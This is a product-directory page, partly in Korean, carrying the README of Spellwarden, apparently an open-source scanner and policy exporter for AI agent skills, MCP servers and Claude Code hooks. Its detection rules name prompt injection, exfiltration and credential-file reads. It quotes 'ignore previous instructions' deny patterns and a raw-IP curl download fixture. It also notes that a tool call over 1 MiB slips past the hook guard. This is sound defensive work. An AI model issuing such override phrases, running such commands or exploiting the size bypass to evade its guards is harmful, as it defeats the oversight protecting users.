HivePaaS
Docker Swarm 기반 오픈소스 자체 호스팅 PaaS, SSL·백업·자동 확장 지원
Spellwarden은 AI 에이전트가 로드한 스킬·MCP 서버를 스캔해 정책으로 전환하고 게이트웨이·훅에 적용, 평가로 품질을 검증
Spellwarden scans skills and MCP servers your AI agents load, turns findings into policy enforced at your gateways and hooks, and proves quality with evals.
개발 도구Python · JavaScriptGitHub @spellwarden-ai온라인운영자 미확인
써 보셨어요? 한 번만 눌러 주세요. 로그인은 필요 없어요.
메이커가 쓴 소개는 위의 한 줄이 전부입니다. 더 자세한 내용은 저장소 README에서 읽을 수 있습니다. 저장소 README ↗
README 전체를 불러오는 중입니다.
README 전문 보기 ↗The Spellwarden scan engine: the baseline rules for agent skills, MCP servers and A2A agent cards, the probe classification against the 2026-07-28 MCP specification, the migration checklist and the curation score. It is the engine of the hosted product at spellwarden.ai and is published so that the same rules run in your own tooling.
One distribution holds two import packages. spellwarden_scan is the engine and is pure code: it never opens a connection, reads a file or an environment variable; you hand it the bytes of a package, a configuration file or the recorded result of a probe, and it hands back findings. spellwarden_cli is the spellwarden command: it finds the agent content in a repository, runs the engine on it on your machine or CI runner, and writes the reports. The GitHub Action and the GitLab CI component that run the command in pipelines arrive with 1.0.0.
pipx run spellwarden scan . # or: pip install spellwarden, then spellwarden scan .
Python 3.11 or newer. The runtime dependencies are PyYAML and cryptography, which verifies the signatures on A2A agent cards.
from spellwarden_scan import RuleSet, scan_skill_package, unpack_zip
files, executable = unpack_zip(open_bytes, with_modes=True) # or any {path: bytes} mapping you built yourself
result = scan_skill_package(files, RuleSet.baseline(), executable_paths=executable)
for finding in result.findings:
print(finding.rule_id, finding.severity, finding.location.path, finding.location.line, finding.evidence)
print(result.sha256, result.metadata.name, result.truncated)
files maps POSIX relative paths to bytes. root names the directory that holds SKILL.md when it is not the package root.unpack_zip(data, limits=ArchiveLimits(), with_modes=False) reads a zip held in memory and refuses unsafe archives with an ArchiveError whose code is one of too_large, too_many_files, unsafe_path, symlink, bad_zip, empty. The default limits are 20 MiB compressed, 50 MiB uncompressed, 2000 files, 10 MiB per file.result.sha256 is the canonical hash of the package: SHA-256 over path NUL content NUL for every path in sorted order, stable across archive layout.result.metadata holds name, description, version, license, publisher from the frontmatter (nested metadata: keys and author are read too), which of them are present, and the problems that rule SW-SKL-015 reports.max_findings (500) and max_per_rule (100) bound what the scan keeps; rules run worst severity first and result.truncated counts the matches that were not kept.fingerprint is the SHA-256 of rule id, path and matched text, so a finding keeps its identity across scans.from spellwarden_scan import ProbeResult, RuleSet, evaluate_probe
probe = ProbeResult.from_dict(recorded) # what your prober recorded; every field has a default
result = evaluate_probe(probe, RuleSet.baseline())
print(result.transport, result.auth_mode, result.spec_version, result.migration_status)
for item in result.checklist:
print(item.order, item.text)
ProbeResult is the record of an unauthenticated probe: the server/discover or initialize result, the status and content type of the POST and GET, whether a session header was seen, the tools/list answer, the RFC 9728 protected resource metadata and the authorization server metadata. The classification follows one rule set:
streamable-http, sse, stdio (a repository without an endpoint) or unknown;none, static-key, oauth-dcr, oauth-cimd, xaa or unknown;supportedVersions date of server/discover, else the negotiated initialize version;sse, initialize_only, sessions, roots, sampling, logging, dcr;migration_status: ready when the spec version is 2026-07-28 or later, authentication is CIMD or XAA and nothing deprecated is in use; to_migrate otherwise; not_probeable for stdio servers.The checklist has twelve items in a fixed order, each present only when it applies (move to streamable HTTP; add server/discover; remove sessions; carry the protocol version and capabilities in _meta; replace sampling/createMessage with an input_required result; replace Logging with a per-request _meta log level; move long jobs to the Tasks extension; register a Client ID Metadata Document and enable OAuth with RFC 9728 and RFC 8707; validate iss; set ttlMs and cacheScope on list results; propagate traceparent; re-run the scan, which is always last).
from spellwarden_scan import CurationInputs, curation_score, is_curated, is_quarantined
inputs = CurationInputs(open_findings=open_ones, accepted_findings=accepted_ones, metadata_present=5, eval_component=0.5)
score = curation_score(inputs) # 0 to 12, one decimal
curated = is_curated(inputs, score) # score >= 8, no open critical or high finding, hash unchanged, not quarantined
quarantined = is_quarantined(open_ones) # any open finding from a malicious-indicator rule
The score is 12 x (0.6 S + 0.2 M + 0.2 E): S = max(0, 1 - (6 critical + 3 high + 1 medium + 0.25 low) / 12) over open findings with accepted findings at half weight, M the share of the five metadata fields present, E an evaluation component that is 0.5 until evaluations exist.
Ids are SW-SKL-NNN (skill packages), SW-MCP-NNN (probed MCP servers), SW-CFG-NNN (agent configuration files: MCP client configurations, Claude Code settings and hooks, plugin marketplaces), SW-REG-NNN (the registry gate of connected mode) and SW-A2A-NNN (A2A agent cards). Mappings use the OWASP Agentic Top 10 (ASI) and OWASP MCP Top 10 (MCP) identifiers and NIST SP 800-53 base controls, labelled as a provisional mapping to SP 800-53 base controls. Five rules are malicious indicators: an open finding from one of them quarantines the package.
| Id | Title | Severity | OWASP | NIST |
|---|---|---|---|---|
| SW-SKL-001 | Prompt-injection phrases in skill instructions | high | ASI01 | SI-10 |
| SW-SKL-002 | Hidden text: zero-width or bidirectional control characters | high | ASI01 | SI-10 |
| SW-SKL-003 | Instructions to skip approvals or disable hooks | high | ASI10 | AC-6 |
| SW-SKL-004 | Encoded payload decoded and executed (malicious indicator) | critical | ASI04 | SR-3 |
| SW-SKL-005 | Writes to agent configuration | high | ASI10 | AC-6 |
| SW-SKL-006 | Destructive command without a confirmation step | medium | ASI10 | AC-6 |
| SW-SKL-007 | Remote script piped to a shell | high | ASI04, MCP04 | SR-3 |
| SW-SKL-008 | Sends local file contents to an external host (malicious indicator) | critical | ASI10 | SC-7 |
| SW-SKL-009 | Unpinned dependency install | medium | ASI04, MCP04 | SR-3 |
| SW-SKL-010 | Bundled binary or executable file | medium | ASI04 | SR-3 |
| SW-SKL-011 | Hard-coded credential in the package | critical | MCP01 | IA-5 |
| SW-SKL-012 | Reads a credential file path without stating purpose | medium | ASI04 | IA-5 |
| SW-SKL-013 | Network calls to raw IP addresses or URL shorteners | medium | ASI10 | SC-7 |
| SW-SKL-014 | Obfuscated script code | medium | ASI04 | SR-3 |
| SW-SKL-015 | Frontmatter missing or invalid (name, description) | low | ASI04 | SR-3 |
| SW-SKL-019 | Fetches external URL content into context without an allowlist | medium | ASI01, MCP06 | SI-10 |
SW-REG-001 to SW-REG-003 are the registry gate of connected mode (Enterprise). They fire only in a connected run.
The severity in the table is each rule's worst case. Since 1.9.0 two MCP rules grade a finding by what the probe saw. SW-MCP-001 is low when the server answered tools/list without authentication with no tool, medium when every listed tool declares itself read-only (readOnlyHint true and destructiveHint not true; a hint the server writes, so never lower than medium), and high otherwise; only a list the probe read whole is graded, so an unreadable answer, a later page (nextCursor), more than 200 tools or a pasted list stays high. SW-MCP-011 is medium when a tool description only steers the model towards the tool ("always use this tool", "before any other tool") and high for concealment, override or injected instructions, or when the steering text also names conversation, prompt or credential material. The evidence text, and so the fingerprint, is unchanged, so baselines and accepted findings carry over. In SARIF a result's level is its own severity; the rule's security-severity, which GitHub code scanning shows, stays that of the worst case.
The numbers SW-SKL-016 to 018, SW-SKL-020 to 030, SW-SKL-033 to 035, SW-CFG-011 and SW-CFG-014 are reserved and unused. RuleSet.baseline() returns these rules; ruleset.with_rules(extra) adds your own Rule objects built with spellwarden_scan.rules.make_rule.
Since 1.1.0 the engine also holds what the hosted product calls Ward: rules an organisation writes as data (org rules), policy packs, and the exports that turn a pack into enforcement for Claude Code hooks, Kong and Zuplo. All of it is pure, like the rest of the engine. In connected mode the command applies the organisation's CI policy (see Connected mode).
An org rule is a JSON object that validate_org_rule(spec) checks and compile_org_rule(spec) turns into a Rule that RuleSet.with_rules accepts. A refused spec raises OrgRuleError with a code (bad_id, bad_title, bad_severity, bad_area, bad_mapping, bad_target, bad_detection, bad_glob, pattern_too_long, pattern_syntax, pattern_too_complex, bad_predicate, bad_values, unknown_key) and a one-sentence message that names the position of a pattern error.
id is SW-ORG-001 to SW-ORG-999; title 1 to 120 characters on one line; severity critical, high, medium or low; owasp and nist at most five identifiers each from the lists the baseline rules use; malicious (only with critical) makes a finding quarantine the package, as the baseline's malicious indicators do; unknown keys are refused.area skill takes a pattern detection: {"kind": "pattern", "files": "**/*.sh", "in": "commands", "pattern": "...", "case_sensitive": false}. files is a path glob inside the skill (*, ? and [...] within one folder, ** for any number of folders; default **). in is lines (every line of every selected text file, the default) or commands (every shell command of the selected scripts and of the fenced code blocks of the selected Markdown files, with \, |, && and || continuations joined, which is what a Claude Code hook sees as a Bash command). One finding per matching line or command.area mcp takes one of eight server checks: {"kind": "probe", "predicate": "auth_mode_in", "values": ["none", "static-key"]}. The predicates are auth_mode_in, transport_in, deprecated_feature_any, spec_version_below (also true when the version is unknown), endpoint_host_in and endpoint_host_not_in (lower-case host names, or *.example.com for every subdomain, which does not match example.com itself), and tool_name_matches and tool_description_matches, which take a pattern and give one finding per tool at tool:<name>. A stdio server has no endpoint and is judged by transport_in and the two tool checks only.targets names the exports that enforce the rule: claude-code-hooks (a pattern rule with "in": "commands"), kong and zuplo (any pattern rule; a pattern the Zuplo guard cannot write for JavaScript is listed as not enforced there). A server check has no target. The target zuplo is read by engines from 1.6.0; the hosted product leaves it out of the policy it serves to an older scanner.Patterns use a small subset of regular expressions that the engine reads in bounded time and that Kong reads the same way:
| Construct | Allowed |
|---|---|
| Literal characters | Any character except \ . [ ] ( ) | * + ? { } ^ $, which are written escaped (\., \(). \/ and \- are accepted escapes. |
| Classes | ., \s \S \d \D \w \W, bracket classes [...] and [^...] with literal members, escapes and ranges such as a-z; no nested [, no [:name:]. |
\b | A word boundary; it cannot be quantified. |
| Anchors | ^ only as the first character of the pattern, $ only as the last. |
| Quantifiers | ?, *, +, {m} and {m,n}, each on exactly one character, escape, . or bracket class. No lazy or possessive forms, no {m,}. |
| Groups | (a|b|c): alternatives made of characters and classes with at most ?, {m} or {m,n}; a group may be followed by ?; groups do not nest and never capture. |
| Gaps | A .* outside a group splits the pattern into parts, matched one after the other. |
| Per part | At most one * or + besides the gaps. |
| Start of a part | A part may not start with * or +, also after optional items (a?\s+x is refused). |
| Next to a repeat | A repeat whose count varies (?, *, +, {m,n} with m below n) may not sit next to an item that can match the same character, in any path through the part (groups and optional items included, \b ignored): a+a, \s*\s, x.{0,100}y and x[a-z]+[a-c] are refused, x\s+y is accepted. |
| Not allowed | Backreferences, lookahead and lookbehind, inline flags, named groups, \A \Z \G, \x \u \N and octal escapes, a outside a group, a quantified group other than , nested groups. |
A pattern that breaks one of the rules above is pattern_syntax; one that is well formed but exceeds a limit below, or breaks the start-of-part or next-to-a-repeat rule (which keep the matching time bounded), is pattern_too_complex.
The limits, which spellwarden_scan.PATTERN_LIMITS holds:
| Limit | Value | What it bounds |
|---|---|---|
max_length | 300 | Characters in a pattern |
max_parts | 4 | Parts between the .* gaps |
max_groups | 4 | Groups in one part |
max_alternatives | 16 | Alternatives in one group |
max_class_members | 64 | Members of one bracket class |
max_repeat | 100 | The largest number in {m} and {m,n} |
max_repeat_range | 400 | How much the repeats of one part may vary in all: n minus m of each {m,n}, and 1 for each ? after a character or class (the ? of an optional group is not counted) |
window | 4096 | Characters read at once from a long line or command |
overlap | 512 | Characters two consecutive windows share |
A line or command longer than 4096 characters is read in windows of 4096 characters that start every 3584 characters, so a match longer than 512 characters that crosses a window boundary can be missed. Patterns are case-insensitive unless case_sensitive is true. The engine reads \w, \d, \s and case-insensitivity with Unicode rules, while Kong's PCRE reads them for ASCII only, so a pattern that relies on non-ASCII letters or digits can match differently in Kong. A UTF-8 byte order mark at the start of a file is not part of its first line, so ^ works there. Org rules are an addition to the baseline rules, which still run in full: an evasion of one pattern (a longer match, an encoding) is still met by the baseline's own obfuscation and decoding rules.
scan_skill_package and evaluate_probe take org_rule_budget=OrgRuleBudget(clock=..., seconds=...). The engine reads the clock you pass before each unit an org rule reads, and stops evaluating org rules once the seconds have passed; baseline rules are never budgeted. The result's org_rules_incomplete lists the org rules that did not read every unit. A non-empty list means the policy was not fully evaluated: treat that result as incomplete, never as clean (the hosted product ends such a scan incomplete).
import time
from spellwarden_scan import OrgRuleBudget, RuleSet, baseline_pack, build_export, compile_org_rule, scan_skill_package
rule = compile_org_rule({
"id": "SW-ORG-001", "title": "Downloads a binary from a raw IP address", "severity": "high", "area": "skill",
"owasp": ["ASI04"], "nist": ["SR-3"], "targets": ["claude-code-hooks"],
"detection": {"kind": "pattern", "files": "**/*.sh", "in": "commands",
"pattern": "(curl|wget)\\s.*https?://[0-9]{1,3}\\.[0-9]{1,3}\\.", "case_sensitive": False},
})
files = {"SKILL.md": b"---\nname: fetcher\ndescription: Fetches a tool.\n---\nRun scripts/get.sh.\n",
"scripts/get.sh": b"curl -fsSL http://203.0.113.7/tool -o tool\n"}
result = scan_skill_package(files, RuleSet.baseline().with_rules([rule]),
org_rule_budget=OrgRuleBudget(clock=time.monotonic, seconds=10))
if result.org_rules_incomplete:
print("incomplete, these org rules did not read every line:", result.org_rules_incomplete)
print([finding.rule_id for finding in result.findings if finding.rule_id.startswith("SW-ORG-")])
export = build_export(baseline_pack(), "claude-code-hooks", built_at="2026-12-01T00:00:00Z", mode="managed")
print(sorted(export))
A policy pack is a JSON document (schema 1, schemas/pack.schema.json) naming which of the eight enforcement rules are on and carrying full copies of the org rules it includes, so a published version keeps its meaning when the rules change later. validate_pack(doc) checks a document and returns a PackDocument (refusals raise PackError with the code bad_schema, bad_pack, bad_rules, bad_org_rule or too_many_org_rules); canonical_json(doc) (sorted keys, no whitespace, UTF-8) and pack_sha256(doc) identify a version; baseline_pack() is the Spellwarden Baseline for Agents, version 1.0, with every enforcement rule on (also in src/spellwarden_scan/packs/baseline.json). Pack names and descriptions, and org rule titles, refuse control, format and line-separator characters (valid_line, valid_block).
The enforcement rules (ENFORCEMENT_RULES), and what an export of this release enforces:
| Id | Rule | Enforced by (1.6.0) |
|---|---|---|
SW-HK-001 | Block remote scripts piped to a shell in agent shell tools | Claude Code hooks |
SW-HK-002 | Block reads of credential files (~/.aws, ~/.ssh, .env) | Claude Code hooks |
SW-GW-003 | Deny MCP upstreams without OAuth | Not enforced by an export in this version (needs Kong's MCP plugins); the Zuplo export includes a script that checks it at deploy when your pipeline runs it |
SW-GW-004 | Prompt-injection deny patterns on prompts and tool results | Kong, prompts only; Zuplo, MCP server responses |
SW-EG-005 | Sandbox egress only to registry-admitted hosts | Not enforced by an export in this version |
SW-GW-006 | Destructive tool verbs require human approval | Claude Code hooks (asks for approval) |
SW-RG-007 | Registry admits only curated, auth-enabled entries on spec 2026-07-28 with no open critical or high finding | The hosted private registry's admission policy, not an export |
SW-OB-008 | Emit an audit record for every tool call | Not enforced: the Claude Code export writes a local activity log, which is not an audit trail |
"Enforced" means enforced where the export is deployed in a way the developer cannot change: for Claude Code that is the managed mode below.
build_export(pack, target, built_at=..., mode=...) returns the files of an export as {path: bytes}; target is one of EXPORT_TARGETS (claude-code-hooks, kong, zuplo), and PLANNED_TARGETS (agentcore-policy, cloudflare-egress) are not available yet. Every export holds SPELLWARDEN-README.md, which lists what the target enforces, what it cannot enforce and why, how to install it and the limits of its mode, and ends with: Validate field names against the vendor's current documentation before use.
Claude Code hooks. One guard script, spellwarden_guard.py (Python 3.8 or newer, standard library only, the pack's checks compiled in, never opening the network), run by a PreToolUse hook for Bash, PowerShell (Claude Code's shell tool on Windows), Read, Grep, Glob and MCP tools, and by a PostToolUse hook when SW-OB-008 is on. It denies piped remote scripts and credential-file reads, asks before destructive commands and destructive MCP tool verbs, and applies org rules with the claude-code-hooks target (deny for critical or high, ask for medium or low); when one command matches both, the deny wins. The command patterns are written for POSIX shells and read PowerShell commands as text. Windows paths are checked as given and with \ read as /. On unreadable input, including an event larger than 1 MiB, it prints nothing and exits 0: the guard never blocks on its own failure, and a missing interpreter or a timeout lets the tool call proceed. An agent can therefore pass every check by making one tool call larger than 1 MiB. A missing or unreadable script is different: Python exits with status 2, which Claude Code reads as a block, so every matched tool call is refused until the script is restored. Every hook runs it as python3 -I, so the checkout cannot plant a module it imports. SHA256SUMS lists the script's SHA-256.
mode="project", advisory): .claude/settings.json with the hooks, .claude/hooks/spellwarden_guard.py, .claude/.gitignore (the activity log), SHA256SUMS and SPELLWARDEN-README.md, for committing to the repository. The repository controls these files: any branch can change, replace or remove the script or the settings, so this mode helps developers who want it and enforces nothing against a checkout that does not.mode="managed", enforceable): managed/linux/managed-settings.json, managed/macos/managed-settings.json, managed/windows/managed-settings.json, managed/spellwarden_guard.py, SHA256SUMS and SPELLWARDEN-README.md. Administrators install the script read-only, owned by root or the Administrators group, at an absolute path outside every checkout, verify it against SHA256SUMS, and place the platform's settings file where Claude Code reads managed settings; each settings file sets allowManagedHooksOnly, so user, project and plugin hooks are ignored. Where a managed-settings.json already holds the organisation's policy, add this file's keys to it or place it as managed-settings.d/50-spellwarden.json beside it, rather than replacing it. On WSL, /etc/claude-code can be written by the user, so the managed mode is not enforced there.| Platform | Script path | Managed settings file | Status |
|---|---|---|---|
| Linux | /etc/claude-code/spellwarden/spellwarden_guard.py | /etc/claude-code/managed-settings.json | verified on 21 October 2026 |
| macOS | /Library/Application Support/ClaudeCode/spellwarden/spellwarden_guard.py | /Library/Application Support/ClaudeCode/managed-settings.json | verified on 21 October 2026 |
| Windows | C:\Program Files\ClaudeCode\spellwarden\spellwarden_guard.py | C:\Program Files\ClaudeCode\managed-settings.json | verified on 21 October 2026 |
The baseline pack's project mode writes this .claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "^(Bash|PowerShell|Read|Grep|Glob|mcp__.*)$",
"hooks": [
{
"type": "command",
"command": "python3 -I \"$CLAUDE_PROJECT_DIR\"/.claude/hooks/spellwarden_guard.py pre",
"timeout": 10
}
]
}
],
"PostToolUse": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "python3 -I \"$CLAUDE_PROJECT_DIR\"/.claude/hooks/spellwarden_guard.py post",
"timeout": 10
}
]
}
]
}
}
and its managed mode this managed/linux/managed-settings.json (macOS and Windows differ only in the script path):
{
"allowManagedHooksOnly": true,
"hooks": {
"PreToolUse": [
{
"matcher": "^(Bash|PowerShell|Read|Grep|Glob|mcp__.*)$",
"hooks": [
{
"type": "command",
"command": "python3 -I \"/etc/claude-code/spellwarden/spellwarden_guard.py\" pre",
"timeout": 10
}
]
}
],
"PostToolUse": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "python3 -I \"/etc/claude-code/spellwarden/spellwarden_guard.py\" post",
"timeout": 10
}
]
}
]
}
}
A platform is verified once the CI job managed-guard and a check by hand with Claude Code have passed on it; the same list (spellwarden_scan.exports.hooks.MANAGED_VERIFIED) decides which platforms every managed export's README names as not verified yet. The hook commands quote the path, for example python3 -I "/Library/Application Support/ClaudeCode/spellwarden/spellwarden_guard.py" pre, and on Windows py -3 -I "C:\Program Files\ClaudeCode\spellwarden\spellwarden_guard.py" pre, which reads the same in Git Bash and in PowerShell, the shells Claude Code runs hook commands with on Windows (sh -c on Linux and macOS). The export does not set the hook field onFailure: the guard never blocks on its own failure, and an administrator who wants failures to block can set "onFailure": "block" where their Claude Code version offers it. With SW-OB-008 on, the guard appends one line per tool call (time, session id, tool name; never the tool's input or output) to spellwarden-activity.jsonl in the project's .claude/ (project mode) or the user's ~/.claude/ (managed mode), refusing links and anything that is not a regular file, with mode 0600, rotated to .1 at 5 MiB. It is a local activity log the user can read, change or delete, not an audit trail.
Kong. kong/spellwarden-<pack id>-<version>.yaml (for the baseline, kong/spellwarden-baseline-1.0.yaml) and SPELLWARDEN-README.md: a decK file with one global ai-prompt-guard plugin whose deny_patterns are the engine's prompt-injection patterns (SW-GW-004, prompts only) and the org rules with the kong target, each pattern a scoped group ((?i:...) for the injection patterns, (?im:...) for an org rule, (?m:...) when it is case-sensitive) joined with | into at most 10 entries of at most 500 characters. Org patterns are read line by line, as the engine reads a unit: a single part is exported as (?im:A), so ^ and $ hold at the ends of each line, and a pattern with several parts as (?im:^(?>.*?A)(?>.*?B)): per line, the first A and then the first B after it, with atomic groups so that a long prompt cannot make the gateway backtrack. Scope the plugin to your AI routes or services by adding route: or service:, then add it to your decK state, for example with deck file merge. Do not run deck gateway sync with this file alone: it removes every entity that is not in the files it is given. Run deck gateway diff, check the changes, then deck gateway sync. The baseline pack's export begins:
# Spellwarden policy export: pack "Spellwarden Baseline for Agents" 1.0, built 2026-12-01T00:00:00Z.
# Enforced here: SW-GW-004 (prompts only).
# Not enforced by this target: SW-HK-001 (enforced by the Claude Code hooks export), SW-HK-002 (enforced by the Claude Code hooks export), SW-GW-003 (needs Kong's MCP plugins), SW-EG-005 (a sandbox egress proxy is not in this version), SW-GW-006 (enforced by the Claude Code hooks export), SW-RG-007 (enforced by the private registry, not by an export), SW-OB-008 (a protected audit trail of tool calls is not in this version).
# Validate field names against the vendor's current documentation before use.
_format_version: '3.0'
plugins:
- name: ai-prompt-guard
config:
deny_patterns:
followed by one entry that joins the nine prompt-injection patterns, (?i:ignore (all |any |the |your )?(previous|prior|above|earlier) (instructions|prompts|rules))|(?i:disregard (the |your )?(system|previous|prior))|....
Zuplo. Five files: zuplo/modules/spellwarden-mcp-guard.ts, zuplo/config/spellwarden-policies.json, zuplo/spellwarden-zuplo-check.mjs, SPELLWARDEN-README.md and SHA256SUMS (it lists the four other files). The paths mirror a Zuplo project, so modules/ and config/ land where the README of the export says. spellwarden-mcp-guard.ts is an outbound policy for Zuplo's MCP Gateway, the same file for every pack of a release, written against Web standard APIs with a type-only import of Zuplo's types. It checks what MCP servers send through the gateway (results, errors, and the requests and notifications a server sends on the stream) against SW-GW-004's nine injection patterns and the org rules with the zuplo target, after removing invisible characters and normalising to NFKC, and answers a JSON-RPC error (code -32001, HTTP 200, the request's id) in place of a response that matches or that cannot be checked: a body over maxBodyBytes (1 MiB by default), an unsupported content encoding, a 2xx body that is neither JSON nor an event stream, nesting deeper than 64, a request that the server sends before its response. An error answer whose body is not JSON is checked as one text, since MCP clients show it to the agent; image and audio data and binary blobs are skipped only where MCP puts content. It checks again, in a response-sending hook, any response that a later policy replaced. zuplo/config/spellwarden-policies.json holds the policy entry to merge into config/policies.json: the pack's patterns are in its options, with guard_sha256 and options_sha256. spellwarden-zuplo-check.mjs (Node 20 or later, no dependencies) checks that a project is wired as the export requires: the entry, the guard file and the options are the ones the export wrote, compatibilityDate is 2026-03-01 or later, every McpProxyHandler route lists the guard last among its outbound policies and, when SW-GW-003 is on in the pack, uses a mcp-token-exchange-inbound policy with an OAuth authMode. SW-GW-003 is therefore enforced only as far as your pipeline runs the script, and the export lists it as not enforced. A pattern that cannot be written as a JavaScript regular expression without the u flag is listed as not enforced; the differences from the engine's matching (UTF-16 windows, ASCII \d \w \b, JavaScript's case folding) are in the README of the export. The baseline pack's policies file begins:
{
"policies": [
{
"name": "spellwarden-mcp-guard",
"policyType": "custom-code-outbound",
"handler": {
"export": "default",
"module": "$import(./modules/spellwarden-mcp-guard)",
"options": {
"spellwarden": {
"format": 1,
"pack_id": "baseline",
"pack": "Spellwarden Baseline for Agents",
"version": "1.0",
"built_at": "2026-12-01T00:00:00Z",
"engine": "<engine version>",
"rules_version": "2026.11.3",
"guard_sha256": "<sha256 of the guard file>",
"options_sha256": "<sha256 of the canonical options>"
},
"maxBodyBytes": 1048576,
"onTooLarge": "block",
"checks": [
{
"rule_id": "SW-GW-004",
"title": "Prompt-injection deny patterns on prompts and tool results",
"parts": [
"ignore (all |any |the |your )?(previous|prior|above|earlier) (instructions|prompts|rules)"
],
"flags": "i",
"anchored_end": false
The three values in angle brackets are the engine version and the two SHA-256 digests; the rest is what the baseline pack exports.
spellwarden commandspellwarden scan [PATH] [--format FMT [--output FILE]]... [--fail-on LEVEL] [--locked] [--probe | --no-probe]
[--probe-private | --no-probe-private] [--baseline FILE] [--config FILE] [--as-of YYYY-MM-DD]
[--no-telemetry] [--upload | --no-upload] [--quiet] [--verbose]
spellwarden lock [PATH] [--check]
spellwarden baseline add [PATH] (--fingerprint FP... | --all) --reason TEXT [--expires YYYY-MM-DD | --days N]
spellwarden baseline add [PATH] --fingerprint FP --rule SW-REG-NNN|SW-ORG-NNN [--finding-path PATH] --reason TEXT [--expires YYYY-MM-DD | --days N]
spellwarden baseline prune [PATH]
spellwarden baseline list [PATH]
spellwarden rules [--format text|json|markdown]
spellwarden ci comment --provider github|gitlab --body FILE
spellwarden ci-run gitlab
spellwarden otel normalise PATH --signal traces|logs [--encoding auto|protobuf|json] [--content] [--max-records N] [--max-bytes N]
spellwarden version
python -m spellwarden_cli is the same command; the CI wrappers use that form.
PATH (default .) is the scan root. Inside a git work tree the file set is what git tracks plus untracked files that are not ignored, under the scan root only (submodules are not entered); elsewhere it is a walk that skips .git, node_modules, .venv, venv and __pycache__. A symbolic link is never read as a file: one at an agent-content path (a configuration file, SKILL.md, a plugin manifest or hooks file, a manifest reference) is followed when its target is a regular file of the file set inside the scan root, and named by the link in every output. The target is judged from its text alone, never by asking the file system where it leads: an absolute target (/x, C:\x, \\host\share\x) is the error unsafe_path (use a relative link or a real file), and a relative one is resolved against the scan root as written. One that leaves the scan root, passes through a linked directory or points at another link is the error unsafe_path; a link inside a skill or a local plugin directory is followed by the same rules, and one whose relative target leaves the scan root is skipped with a notice while its target text is locked, unless it names a directory above the scan root or might lead back into it under another spelling (another case, a trailing dot, a Windows short name such as REPO~1), which is unsafe_path; any other link is skipped with a notice. Files over 10 MiB are skipped with a notice. Configuration and marketplace file names match whatever their case (.MCP.json), as macOS and Windows open them. A link target, a manifest reference and a plugin's own .mcp.json, hooks/hooks.json and .claude-plugin/plugin.json must name a file exactly as the file set holds it: one that matches a file or directory only in another case or Unicode form is unsafe_path, because on Linux the other spelling is another file. A skill is a directory holding exactly SKILL.md; another spelling (skill.md) gets the notice skill_name_case, and is judged as the skill's SKILL.md only under a skills/ directory, where agents on macOS and Windows load it. include and exclude in the settings narrow the set further.
In that set the scanner finds:
| Item | Where | Judged by |
|---|---|---|
| Skill | every directory holding a SKILL.md, with every file below it (a nested SKILL.md starts its own skill) | the SW-SKL rules |
| MCP client configuration | .mcp.json, .vscode/mcp.json, .cursor/mcp.json; each server in it is an item of its own | SW-CFG-001 to 004, 010, 012, 013; SW-MCP rules under --probe |
| Claude Code settings | .claude/settings.json, .claude/settings.local.json (with their hooks) | SW-CFG-005 to 008 |
| Plugin marketplace | .claude-plugin/marketplace.json and every plugin it lists (a local source ./ is the marketplace's own directory) | SW-CFG-009; a local plugin's skills, .mcp.json, hooks/hooks.json and .claude-plugin/plugin.json are scanned like the files above |
| A2A agent card | .well-known/agent-card.json at any depth, .well-known/agent.json and any other file named agent-card.json (when it is a card), and the files a2a.cards lists; remote agents under --probe | the SW-A2A rules; see "Checking A2A agent cards" |
A plugin hosted elsewhere (a GitHub repository or a URL) is listed and locked by its declared source, never fetched. Configuration files are read as JSON with comments and trailing commas (VS Code's mcp.json dialect). A file with a key repeated in one object is refused (duplicate_key): agents disagree on which copy wins, so the scanner will not guess. Everything read from the repository is treated as hostile: sizes and nesting are bounded, paths are confined to the scan root, and every string is escaped for the place it is printed.
| Code | Meaning |
|---|---|
| 0 | Passed: no unsuppressed finding at or above --fail-on (default high; never always passes on findings). |
| 1 | Failed on findings. |
| 2 | Incomplete or invalid: a usage or settings error, an unreadable file, a configuration document the scanner refused or cut short (over 200 servers, 500 hooks or 200 plugins), a skill over 2000 files or 50 MiB, an invalid baseline entry, or a scanner crash. |
| 3 | --locked and the lock file is absent or out of date. |
When several apply, 2 wins over 1, and 1 over 3: an incomplete scan never looks like a pass. Every requested report is written before the exit.
.spellwarden/config.ymlversion: 1
include: [] # globs; empty means every file of the file set
exclude: ["tests/fixtures/**"]
fail-on: high
probe: false
telemetry: true
a2a: # agent cards; see "Checking A2A agent cards"
cards: [deploy/agent/card.json]
keys: .well-known/jwks.json
agents: [https://agent.example.com/]
The file is optional. An unknown key or a version other than 1 is an error (exit 2), so a typo never silently weakens a gate. A flag wins over the environment (SPELLWARDEN_FAIL_ON, SPELLWARDEN_PROBE, SPELLWARDEN_TELEMETRY), which wins over the file. Private probing is deliberately not a setting (see "Probing"). The connected mapping (pack, upload, required) is described under "Connected mode", the a2a mapping (cards, keys, agents) under "Checking A2A agent cards". On a pull or merge request a2a.keys and a2a.agents are read from the base revision even under --config, like connected.pack and connected.required: a request cannot choose the keys its cards are verified with or the agents that are fetched.
On a pull or merge request, this file and the baseline are read from the base revision, the commit the request targets, never from the request itself. Otherwise a request could add a malicious .mcp.json together with exclude: [".mcp.json"], or accept its own finding in the baseline, and pass its own check. A request that changes either file therefore sees the change apply only once it is merged, and the report says so with the notice settings_from_base. The lock file is still read from the request: a request that changes agent content must update it, and reviewers see that change. Under --locked the lock is computed with the base's include and exclude, so a request that changes those patterns and the lock together is reported stale until the settings change is merged first. Local runs, pushes, schedules and manual runs read the working tree as before. A --config or --baseline file named on the command line is read as given: whoever runs the scanner chose it.
The scanner reads the base revision with git. A shallow clone that lacks it is fetched once from origin (that one commit, depth 1, no tags, hooks off). When the base still cannot be read (the event names no base commit, git is missing, or the fetch failed) the scan uses the default settings and no baseline, and the notice base_unavailable says why. On GitHub, check out with actions/checkout fetch-depth: 0, or keep its default persist-credentials: true so the fetch can authenticate. On GitLab, set GIT_DEPTH: 0 (or a depth that reaches the merge base) in the job, because the scanner image cannot write to a clone it does not own.
.spellwarden/lock.jsonspellwarden lock records every discovered configuration file, MCP server, plugin source, local plugin directory and skill with a hash. spellwarden scan --locked (and spellwarden lock --check) exits 3 when anything was added, removed or changed since, and names each item, so a change to agent content is a visible, reviewed change. The lock holds no scanner version: upgrading the scanner never makes it stale. A skill's hash is computed over paths relative to the skill's directory, so moving a skill changes only its path.
.spellwarden/baseline.ymlversion: 1
accepted:
- fingerprint: 9c1d... # 64 hex characters, from the report
